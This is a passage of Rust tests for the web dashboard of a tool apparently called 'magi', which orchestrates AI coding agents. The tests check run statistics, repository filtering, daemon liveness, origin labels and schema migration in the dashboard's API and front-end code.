19525        assert!(APP_JS.contains("function linkify("));
19526        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19527        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19528        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19529        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19530        assert!(!APP_JS.contains("innerHTML = text"));
19531    }
19532
19533    #[test]
19534    fn implementation_rate_views_keep_independent_samples() {
19535        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19536            let a = stats::AgentStats {
19537                competitive_entered: competitive_n,
19538                competitive_wins: usize::from(competitive_n > 0),
19539                solo_entered: solo_n,
19540                solo_adopted: 2 * usize::from(solo_n > 0),
19541                ..Default::default()
19542            };
19543            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19544            for (key, n, numerator) in [
19545                ("competitive_win_rate", competitive_n, a.competitive_wins),
19546                ("solo_adoption_rate", solo_n, a.solo_adopted),
19547            ] {
19548                if n == 0 {
19549                    assert!(v[key].is_null());
19550                } else {
19551                    assert_eq!(v[key]["denominator"], n);
19552                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19553                }
19554            }
19555        }
19556        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19557        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19558        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19559        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19560    }
19561
19562    #[test]
19563    fn stats_bars_share_one_id_keyed_plan() {
19564        let start = APP_JS
19565            .find("function statsBarRows(")
19566            .expect("statsBarRows exists");
19567        let body = &APP_JS[start..];
19568        let body = &body[..body.find("\n}\n").expect("function end")];
19569        assert!(body.contains("statsBarPlan(rows)"));
19570        assert!(body.contains("statsAgentTone(row.agent)"));
19571        assert!(!body.contains("candTone(i)"));
19572        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19573        for root in [
19574            "stats-agents-bars",
19575            "stats-solo-bars",
19576            "stats-reviewers-bars",
19577        ] {
19578            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19579        }
19580    }
19581
19582    #[test]
19583    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19584        let start = APP_JS
19585            .find("function renderStatsReviewerScatter(")
19586            .expect("renderStatsReviewerScatter exists");
19587        let body = &APP_JS[start..];
19588        let body = &body[..body.find("\n}\n").expect("function end")];
19589        assert!(body.contains("statsScatterPlan(reviewers)"));
19590        assert!(body.contains("statsAgentTone(d.agent)"));
19591        assert!(APP_JS.contains("function statsScatterPlan("));
19592        assert!(
19593            APP_JS.contains("d.submitted < STATS_LOW_N")
19594                || APP_JS.contains("r.submitted < STATS_LOW_N")
19595        );
19596        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19597        assert!(APP_CSS.contains(".precision-scatter"));
19598    }
19599
19600    #[test]
19601    fn advisor_reflection_is_drawn_as_stacked_segments() {
19602        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19603        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19604        let html = include_str!("../assets/ui/index.html");
19605        assert!(html.contains("Approximate"));
19606        for label in ["reflected strongly", "faint", "no proposal"] {
19607            assert!(html.contains(label));
19608        }
19609        let css = include_str!("../assets/ui/app.css");
19610        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19611            assert!(css.contains(&format!(".{c} {{")));
19612        }
19613    }
19614
19615    #[test]
19616    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19617        assert!(APP_JS.contains("function statsDailyPlan("));
19618        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19619        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19620    }
19621
19622    #[test]
19623    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19624        let start = APP_JS
19625            .find("function scheduleSearch(")
19626            .expect("scheduleSearch exists");
19627        let body = &APP_JS[start..];
19628        let body = &body[..body.find("\n}\n").expect("function end")];
19629        assert!(body.contains("s.seq += 1"));
19630    }
19631
19632    /// The dashboard reads every run's state itself rather than trusting a
19633    /// separately-maintained count, so an unreadable run must be counted the
19634    /// same way `/api/health` counts it - never silently dropped the way the
19635    /// CLI's own `stats::load_all` drops it.
19636    #[tokio::test]
19637    async fn stats_runs_unreadable_matches_health() {
19638        let f = Fixture::start().await;
19639        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19640        let broken = f.runs().join("20260902-140502-bad");
19641        std::fs::create_dir_all(&broken).expect("run dir");
19642        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19643
19644        let stats = f.get("/api/stats").await;
19645        let health = f.get("/api/health").await;
19646
19647        assert_eq!(stats.status, 200);
19648        assert_eq!(stats.json()["totals"]["runs"], 1);
19649        assert_eq!(stats.json()["runs_unreadable"], 1);
19650        assert_eq!(
19651            stats.json()["runs_unreadable"],
19652            health.json()["runs_unreadable"],
19653            "the dashboard and /api/health must never disagree about how many \
19654             runs could not be read"
19655        );
19656    }
19657
19658    #[tokio::test]
19659    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19660        let f = Fixture::start().await;
19661        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19662        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19663        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19664
19665        let totals = &f.get("/api/stats").await.json()["totals"];
19666        assert_eq!(totals["runs"], 3);
19667        assert_eq!(totals["merged"], 1);
19668        assert_eq!(totals["stalled"], 1);
19669        assert_eq!(totals["in_progress"], 1);
19670        // A stalled run must never read as blocked/merged/ready - it is its
19671        // own bucket, not folded into a "decided" one.
19672        assert_eq!(totals["blocked"], 0);
19673        assert_eq!(totals["ready"], 0);
19674    }
19675
19676    #[tokio::test]
19677    async fn stats_advisors_report_proposals_and_reflection() {
19678        use crate::advise::{Advice, AdvisorRecord, Reflection};
19679        use crate::verdict::Proposal;
19680
19681        let f = Fixture::start().await;
19682        let mut state = RunState::new(
19683            PathBuf::from("/repo/magi"),
19684            "main".to_owned(),
19685            "0123456789abcdef".to_owned(),
19686            "task".to_owned(),
19687            Config::default(),
19688        );
19689        state.id = "20260902-140501-a".to_owned();
19690        state.status = RunStatus::Merged;
19691        state.advice = Some(Advice {
19692            records: vec![
19693                AdvisorRecord {
19694                    seat: "advisor-1".to_owned(),
19695                    agent: "alpha".to_owned(),
19696                    proposal: Some(Proposal {
19697                        approach: "do it".to_owned(),
19698                        key_tradeoff: "speed over memory".to_owned(),
19699                        risks: Vec::new(),
19700                        touches: Vec::new(),
19701                        why_not_naive: "breaks under load".to_owned(),
19702                    }),
19703                    error: None,
19704                    duration_ms: 0,
19705                    reflection: Reflection::Strong,
19706                },
19707                AdvisorRecord {
19708                    seat: "advisor-2".to_owned(),
19709                    agent: "alpha".to_owned(),
19710                    proposal: None,
19711                    error: Some("timed out".to_owned()),
19712                    duration_ms: 0,
19713                    reflection: Reflection::Absent,
19714                },
19715            ],
19716            synthesis: Some("blended brief".to_owned()),
19717        });
19718        let dir = f.runs().join(&state.id);
19719        std::fs::create_dir_all(&dir).expect("run dir");
19720        std::fs::write(
19721            dir.join("run.json"),
19722            serde_json::to_string_pretty(&state).expect("serialize run"),
19723        )
19724        .expect("write run.json");
19725
19726        // `alpha` is in no roster here; this test is about the rates.
19727        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19728        let alpha = advisors
19729            .as_array()
19730            .expect("an array")
19731            .iter()
19732            .find(|a| a["agent"] == "alpha")
19733            .expect("alpha row");
19734        assert_eq!(alpha["seated"], 2);
19735        assert_eq!(alpha["proposed"], 1);
19736        assert_eq!(alpha["absent"], 1);
19737        assert_eq!(alpha["strong"], 1);
19738        assert_eq!(alpha["faint"], 0);
19739        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19740    }
19741
19742    #[tokio::test]
19743    async fn stats_hides_agents_outside_the_roster_unless_all() {
19744        use crate::run::Candidate;
19745        let repo = TempDir::new().expect("repo dir");
19746        std::fs::write(
19747            repo.path().join("magi.toml"),
19748            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19749        )
19750        .expect("magi.toml");
19751        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19752        let mut state = RunState::new(
19753            PathBuf::from("/repo/magi"),
19754            "main".to_owned(),
19755            "0123456789abcdef".to_owned(),
19756            "task".to_owned(),
19757            Config::default(),
19758        );
19759        state.id = "20260902-140501-a".to_owned();
19760        state.status = RunStatus::Merged;
19761        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19762            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19763                "index": 0, "label": label.to_string(), "agent": agent,
19764                "branch": "b", "worktree": "/w",
19765            }))
19766            .expect("candidate");
19767            c.label = label;
19768            state.candidates.push(c);
19769        }
19770        let dir = f.runs().join(&state.id);
19771        std::fs::create_dir_all(&dir).expect("run dir");
19772        std::fs::write(
19773            dir.join("run.json"),
19774            serde_json::to_string_pretty(&state).expect("serialize run"),
19775        )
19776        .expect("write run.json");
19777
19778        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19779            v["agents"]
19780                .as_array()
19781                .expect("array")
19782                .iter()
19783                .map(|a| a["agent"].as_str().unwrap().to_owned())
19784                .collect()
19785        };
19786        let hidden = f.get("/api/stats").await.json();
19787        assert_eq!(agents_of(&hidden), ["keep"]);
19788        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19789        assert_eq!(hidden["totals"]["runs"], 1);
19790
19791        let all = f.get("/api/stats?all=true").await.json();
19792        assert_eq!(agents_of(&all).len(), 2);
19793        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19794        // Verify competitive and solo keys exist on agent entries
19795        let keep_agent = all["agents"]
19796            .as_array()
19797            .unwrap()
19798            .iter()
19799            .find(|a| a["agent"] == "keep")
19800            .unwrap();
19801        assert_eq!(keep_agent["competitive_entered"], 1);
19802        assert_eq!(keep_agent["competitive_wins"], 0);
19803        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19804        assert_eq!(keep_agent["solo_entered"], 0);
19805        assert_eq!(keep_agent["solo_adopted"], 0);
19806        assert!(keep_agent["solo_adoption_rate"].is_null());
19807    }
19808
19809    #[tokio::test]
19810    async fn stats_release_bumps_split_clean_from_attention() {
19811        use crate::run::ReleaseBump;
19812
19813        let f = Fixture::start().await;
19814
19815        let mut clean = RunState::new(
19816            PathBuf::from("/repo/magi"),
19817            "main".to_owned(),
19818            "0123456789abcdef".to_owned(),
19819            "task".to_owned(),
19820            Config::default(),
19821        );
19822        clean.id = "20260902-140501-a".to_owned();
19823        clean.status = RunStatus::Merged;
19824        clean.release_bump = Some(ReleaseBump {
19825            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19826            version: Some("1.0.0".to_owned()),
19827            automerge_enabled: true,
19828            merged_directly: false,
19829            local: false,
19830            release: None,
19831            problem: None,
19832            action_required: None,
19833            skipped: None,
19834        });
19835
19836        let mut blocked = RunState::new(
19837            PathBuf::from("/repo/magi"),
19838            "main".to_owned(),
19839            "0123456789abcdef".to_owned(),
19840            "task".to_owned(),
19841            Config::default(),
19842        );
19843        blocked.id = "20260902-140502-b".to_owned();
19844        blocked.status = RunStatus::Merged;
19845        blocked.release_bump = Some(ReleaseBump {
19846            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19847            version: Some("1.0.1".to_owned()),
19848            automerge_enabled: false,
19849            merged_directly: false,
19850            local: false,
19851            release: None,
19852            problem: Some("checks red".to_owned()),
19853            action_required: Some("look at the PR".to_owned()),
19854            skipped: None,
19855        });
19856
19857        for state in [&clean, &blocked] {
19858            let dir = f.runs().join(&state.id);
19859            std::fs::create_dir_all(&dir).expect("run dir");
19860            std::fs::write(
19861                dir.join("run.json"),
19862                serde_json::to_string_pretty(state).expect("serialize run"),
19863            )
19864            .expect("write run.json");
19865        }
19866
19867        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19868        assert_eq!(bumps["merged"], 2);
19869        assert_eq!(bumps["recorded"], 2);
19870        assert_eq!(bumps["pr_opened"], 2);
19871        assert_eq!(bumps["automerge_enabled"], 1);
19872        assert_eq!(bumps["needs_attention"], 1);
19873        assert_eq!(bumps["clean"], 1);
19874        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19875        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19876    }
19877
19878    #[tokio::test]
19879    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19880        let f = Fixture::start().await;
19881        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19882
19883        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19884        assert_eq!(bumps["merged"], 1);
19885        assert_eq!(bumps["recorded"], 0);
19886        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19887        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19888        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19889        // `pr_opened` and `recorded` are both zero here, so these rates have
19890        // no denominator to compute from and must be null.
19891        assert_eq!(bumps["automerge_rate"], Value::Null);
19892        assert_eq!(bumps["attention_rate"], Value::Null);
19893    }
19894
19895    #[tokio::test]
19896    async fn stats_queue_counts_come_from_the_live_queue() {
19897        let f = Fixture::start().await;
19898        let q = f.queue();
19899        let mut queued = Task::new(
19900            "queued task".to_owned(),
19901            "do it".to_owned(),
19902            PathBuf::from("/repo"),
19903            Source::Human,
19904        );
19905        q.put(&mut queued).expect("put queued");
19906        let mut held = Task::new(
19907            "held task".to_owned(),
19908            "do it later".to_owned(),
19909            PathBuf::from("/repo"),
19910            Source::Human,
19911        );
19912        held.hold_machine(Some("out of attempts".to_owned()));
19913        q.put(&mut held).expect("put held");
19914
19915        let queue = f.get("/api/stats").await.json()["queue"].clone();
19916        assert_eq!(queue["queued"], 1);
19917        assert_eq!(queue["held"], 1);
19918        assert_eq!(queue["running"], 0);
19919        assert_eq!(queue["done"], 0);
19920        assert_eq!(queue["failed"], 0);
19921        assert_eq!(queue["blocked"], 0);
19922    }
19923
19924    #[tokio::test]
19925    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19926        let f = Fixture::start().await;
19927        let stats = f.get("/api/stats").await;
19928        assert_eq!(stats.status, 200);
19929        assert_eq!(stats.json()["totals"]["runs"], 0);
19930        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19931        assert_eq!(stats.json()["runs_unreadable"], 0);
19932        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19933        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19934        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19935        assert_eq!(stats.json()["repo"], Value::Null);
19936    }
19937
19938    #[tokio::test]
19939    async fn stats_lists_every_repository_with_runs_recorded() {
19940        let f = Fixture::start().await;
19941        write_run_repo(
19942            &f.runs(),
19943            "20260902-140501-a",
19944            RunStatus::Merged,
19945            "/repos/a",
19946        );
19947        write_run_repo(
19948            &f.runs(),
19949            "20260902-140502-b",
19950            RunStatus::Merged,
19951            "/repos/a",
19952        );
19953        write_run_repo(
19954            &f.runs(),
19955            "20260902-140503-c",
19956            RunStatus::Blocked,
19957            "/repos/b",
19958        );
19959
19960        let stats = f.get("/api/stats").await;
19961        assert_eq!(stats.status, 200);
19962        // Unfiltered - the aggregate across both repositories.
19963        assert_eq!(stats.json()["totals"]["runs"], 3);
19964        assert_eq!(stats.json()["repo"], Value::Null);
19965
19966        let repos = stats.json()["repos"].clone();
19967        let repos = repos.as_array().unwrap();
19968        assert_eq!(repos.len(), 2);
19969        // Busiest (2 runs) first.
19970        assert_eq!(repos[0]["repo"], "/repos/a");
19971        assert_eq!(repos[0]["name"], "a");
19972        assert_eq!(repos[0]["runs"], 2);
19973        assert_eq!(repos[1]["repo"], "/repos/b");
19974        assert_eq!(repos[1]["runs"], 1);
19975    }
19976
19977    #[tokio::test]
19978    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19979        let f = Fixture::start().await;
19980        write_run_repo(
19981            &f.runs(),
19982            "20260902-140501-a",
19983            RunStatus::Merged,
19984            "/repos/a",
19985        );
19986        write_run_repo(
19987            &f.runs(),
19988            "20260902-140502-b",
19989            RunStatus::Blocked,
19990            "/repos/b",
19991        );
19992
19993        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19994        assert_eq!(stats.status, 200);
19995        assert_eq!(stats.json()["totals"]["runs"], 1);
19996        assert_eq!(stats.json()["totals"]["merged"], 1);
19997        assert_eq!(stats.json()["repo"], "/repos/a");
19998        // The repository list itself is unaffected by the filter - it is
19999        // what a client switches repositories from.
20000        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20001        // runs_unreadable is a whole-workload count, never scoped to the
20002        // selected repository - see StatsView::runs_unreadable's own doc.
20003        assert_eq!(stats.json()["runs_unreadable"], 0);
20004    }
20005
20006    #[tokio::test]
20007    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20008        let f = Fixture::start().await;
20009        write_run_repo(
20010            &f.runs(),
20011            "20260902-140501-a",
20012            RunStatus::Merged,
20013            "/repos/a",
20014        );
20015        write_run_repo(
20016            &f.runs(),
20017            "20260902-140502-b",
20018            RunStatus::Merged,
20019            "/repos/b",
20020        );
20021
20022        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20023            let json = f.get(uri).await.json();
20024            let daily = json["daily"].as_array().expect("daily is an array");
20025            assert_eq!(daily.len(), 30);
20026            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20027            let mut sorted = dates.clone();
20028            sorted.sort();
20029            assert_eq!(dates, sorted);
20030            for d in daily {
20031                assert_eq!(
20032                    d["merged"].as_u64().unwrap()
20033                        + d["ready"].as_u64().unwrap()
20034                        + d["other"].as_u64().unwrap(),
20035                    d["runs"].as_u64().unwrap()
20036                );
20037            }
20038            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20039        }
20040    }
20041
20042    #[tokio::test]
20043    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20044        let f = Fixture::start().await;
20045        write_run_repo(
20046            &f.runs(),
20047            "20260902-140501-a",
20048            RunStatus::Merged,
20049            "/repos/a",
20050        );
20051
20052        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20053        assert_eq!(stats.status, 404);
20054    }
20055
20056    #[tokio::test]
20057    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20058        let f = Fixture::start().await;
20059        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20060
20061        let summary = f.get("/api/runs").await.json();
20062        let row = &summary[0];
20063        assert_eq!(row["short"], "a1b2");
20064        assert_eq!(row["status"], "ready");
20065        assert_eq!(row["done"], true);
20066        assert_eq!(row["title"], "Add a web UI");
20067        assert_eq!(row["repo_name"], "magi");
20068        assert_eq!(row["judges"], 3);
20069        assert_eq!(row["winner"], Value::Null);
20070        assert_eq!(row["reviews"], 0);
20071
20072        // The short id resolves, and the detail route is the state itself, not
20073        // a projection of it: the UI reads fields the summary does not carry.
20074        let detail = f.get("/api/runs/a1b2").await;
20075        assert_eq!(detail.status, 200);
20076        assert_eq!(detail.json()["base_branch"], "main");
20077        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20078    }
20079
20080    /// `status: "ready"` alone cannot tell a run still headed for a landing
20081    /// (a PR closed without merging, say) apart from one `[merge] mode =
20082    /// "none"` left unmerged for good — the confusion the operator flagged
20083    /// after the CLI report already grew a `not landed — nothing to do by
20084    /// design` line for exactly this case (`report.rs`). Both the list route
20085    /// and the detail route must carry a flag the phone can key on instead of
20086    /// re-deriving it from `status` + `merge.mode` itself.
20087    #[tokio::test]
20088    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20089        let f = Fixture::start().await;
20090
20091        let mut none_run = RunState::new(
20092            PathBuf::from("/repo/magi"),
20093            "main".to_owned(),
20094            "0123456789abcdef".to_owned(),
20095            "Add a web UI".to_owned(),
20096            Config::default(),
20097        );
20098        none_run.id = "20260902-140503-none".to_owned();
20099        none_run.status = RunStatus::Ready;
20100        none_run.merge = Some(crate::run::MergeOutcome {
20101            mode: crate::config::MergeMode::None,
20102            ok: true,
20103            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20104            empty: false,
20105        });
20106        write_state(&f.runs(), &none_run);
20107
20108        let mut pr_run = RunState::new(
20109            PathBuf::from("/repo/magi"),
20110            "main".to_owned(),
20111            "0123456789abcdef".to_owned(),
20112            "Add a web UI".to_owned(),
20113            Config::default(),
20114        );
20115        pr_run.id = "20260902-140504-prcl".to_owned();
20116        pr_run.status = RunStatus::Ready;
20117        pr_run.merge = Some(crate::run::MergeOutcome {
20118            mode: crate::config::MergeMode::Pr,
20119            ok: false,
20120            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20121            empty: false,
20122        });
20123        write_state(&f.runs(), &pr_run);
20124
20125        let summary = f.get("/api/runs").await.json();
20126        let rows: std::collections::HashMap<&str, &Value> = summary
20127            .as_array()
20128            .expect("an array")
20129            .iter()
20130            .map(|r| (r["id"].as_str().expect("an id"), r))
20131            .collect();
20132        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20133        assert_eq!(
20134            rows[none_run.id.as_str()]["unmerged_by_design"],
20135            true,
20136            "a mode-none Ready must be flagged in the list"
20137        );
20138        assert_eq!(
20139            rows[pr_run.id.as_str()]["unmerged_by_design"],
20140            false,
20141            "a Ready reached by a closed pull request is a different case"
20142        );
20143
20144        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20145        assert_eq!(none_detail["status"], "ready");
20146        assert_eq!(none_detail["unmerged_by_design"], true);
20147
20148        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20149        assert_eq!(pr_detail["unmerged_by_design"], false);
20150    }
20151
20152    /// `RunState::active` is only ever cleared by whoever populated it, so the
20153    /// detail route also has to say whether a daemon is actually still
20154    /// driving this run right now — otherwise a seat from a killed process's
20155    /// last wave would read as live forever.
20156    #[tokio::test]
20157    async fn run_core_survives_unavailable_related_stores() {
20158        let home = TempDir::new().unwrap();
20159        let ui = delta_test_ui(home.path());
20160        let state = RunState::new(
20161            PathBuf::from("/repo/magi"),
20162            "main".into(),
20163            "0123456789abcdef".into(),
20164            "Useful core instructions".into(),
20165            Config::default(),
20166        );
20167        let dir = ui.runs.join(&state.id);
20168        std::fs::create_dir_all(&dir).unwrap();
20169        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20170        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20171        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20172        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20173            .await
20174            .unwrap()
20175            .0;
20176        assert_eq!(core.state.instruction, state.instruction);
20177        assert_eq!(core.state.updated_at, state.updated_at);
20178        assert!(core.task.is_none());
20179        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20180    }
20181
20182    #[tokio::test]
20183    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20184        let f = Fixture::start().await;
20185        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20186        // half of this test can claim the daemon is working on it without a
20187        // second helper.
20188        let id = "20260902-140502-bbbb";
20189        let mut state = RunState::new(
20190            PathBuf::from("/repo/magi"),
20191            "main".to_owned(),
20192            "0123456789abcdef".to_owned(),
20193            "Add a web UI".to_owned(),
20194            Config::default(),
20195        );
20196        state.id = id.to_owned();
20197        state.status = RunStatus::Judging;
20198        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20199        let dir = f.runs().join(id);
20200        std::fs::create_dir_all(&dir).expect("run dir");
20201        std::fs::write(
20202            dir.join("run.json"),
20203            serde_json::to_string_pretty(&state).expect("serialize run"),
20204        )
20205        .expect("write run.json");
20206
20207        // No daemon.json at all, and no `driver_pid` recorded either (this
20208        // state was written directly, never through `execute()`): there is
20209        // nothing to confirm either way, so the route must say `"unknown"` —
20210        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20211        // run` used to get from this route before `driver_pid` existed.
20212        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20213        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20214        assert_eq!(cold["live"], "unknown", "{cold}");
20215
20216        // A fresh heartbeat naming exactly this run: the same entry now reads
20217        // as confirmed, not merely recorded.
20218        write_daemon(f.home.path(), Timestamp::now());
20219        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20220        assert_eq!(warm["live"], "live", "{warm}");
20221    }
20222
20223    #[test]
20224    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20225        let home = tempfile::tempdir().expect("temp home");
20226        let runs = home.path().join("runs");
20227        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20228            let mut state = RunState::new(
20229                PathBuf::from("/repo/magi"),
20230                "main".to_owned(),
20231                "0123456789abcdef".to_owned(),
20232                "Generated review context, not authored task criteria".to_owned(),
20233                Config::default(),
20234            );
20235            state.origin = origin;
20236            state.status = RunStatus::Blocked;
20237            // Earlier migrations must not infer these facts again.
20238            state.driver_exited = false;
20239            state.gate_ran = true;
20240            let expected = serde_json::to_value(&state).expect("serialize current state");
20241            let mut legacy = expected.clone();
20242            legacy["schema"] = serde_json::json!(13);
20243            legacy.as_object_mut().unwrap().remove("task_instruction");
20244            let dir = runs.join(&state.id);
20245            std::fs::create_dir_all(&dir).expect("run dir");
20246            let path = dir.join("run.json");
20247            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20248            std::fs::write(&path, &body).expect("write legacy run");
20249
20250            for loaded in [
20251                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20252                read_run(&runs, &state.id).expect("web migration"),
20253            ] {
20254                assert_eq!(loaded.schema, crate::run::SCHEMA);
20255                assert!(loaded.task_instruction.is_none());
20256                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20257            }
20258            assert_eq!(runs_unreadable(&runs), 0);
20259            assert_eq!(std::fs::read(&path).unwrap(), body);
20260        }
20261    }
20262
20263    /// Where a run came from is shown, and a run written before origins were
20264    /// recorded (schema 12, no `origin` key) stays readable and says so.
20265    #[tokio::test]
20266    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20267        let f = Fixture::start().await;
20268        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20269            let mut state = RunState::new(
20270                PathBuf::from("/repo/magi"),
20271                "main".to_owned(),
20272                "0123456789abcdef".to_owned(),
20273                "Add a web UI".to_owned(),
20274                Config::default(),
20275            );
20276            state.id = id.to_owned();
20277            state.origin = origin;
20278            let mut value = serde_json::to_value(&state).expect("serialize run");
20279            if let Some(schema) = schema {
20280                value["schema"] = serde_json::json!(schema);
20281                value.as_object_mut().unwrap().remove("origin");
20282            }
20283            let dir = f.runs().join(id);
20284            std::fs::create_dir_all(&dir).expect("run dir");
20285            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20286        };
20287        write(
20288            "20260930-092817-ec34",
20289            Some(crate::run::Origin::from_agent_env(
20290                Some(("4a7b".to_owned(), "chat".to_owned())),
20291                None,
20292            )),
20293            None,
20294        );
20295        write("20260930-092817-0ld1", None, Some(12));
20296
20297        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20298        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20299        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20300
20301        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20302        assert_eq!(
20303            old["origin_label"], "origin unknown (started before origins were recorded)",
20304            "{old}"
20305        );
20306        assert!(old["origin"].is_null(), "{old}");
20307
20308        let list = f.get("/api/runs").await.json();
20309        let labels: Vec<_> = list
20310            .as_array()
20311            .unwrap()
20312            .iter()
20313            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20314            .collect();
20315        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20316    }
20317
20318    #[tokio::test]
20319    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20320        let f = Fixture::start().await;
20321        let mut state = RunState::new(
20322            PathBuf::from("/repo"),
20323            "main".into(),
20324            "abc".into(),
20325            "task".into(),
20326            Config::default(),
20327        );
20328        state.status = RunStatus::Implementing;
20329        state.seat_started(
20330            "implement",
20331            "implement-A",
20332            std::time::Duration::from_secs(60),
20333            0,
20334        );
20335        state.save_under(f.home.path()).unwrap();
20336        let observed = f
20337            .get(&format!("/api/runs/{}/progress", state.id))
20338            .await
20339            .json();
20340        assert_eq!(observed["id"], state.id);
20341        assert!(observed["observed_at"].is_string());
20342        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20343        assert!(observed["progress"]["activity"].is_string());
20344        for field in [
20345            "config",
20346            "candidates",
20347            "land_approval",
20348            "task",
20349            "waiting",
20350            "done",
20351        ] {
20352            assert!(
20353                observed.get(field).is_none(),
20354                "progress must not expose control evidence: {field}"
20355            );
20356        }
20357    }
20358
20359    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20360    /// review` claims no daemon at all, so before this field existed the
20361    /// route above read it as `"dead"` — indistinguishable from a run a
20362    /// killed process abandoned — the whole time it was genuinely still
20363    /// answering. With a live pid recorded, it must read `"live"` even
20364    /// though no daemon claims it.
20365    #[tokio::test]
20366    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20367        let f = Fixture::start().await;
20368        let id = "20260922-090000-cccc";
20369        let mut state = RunState::new(
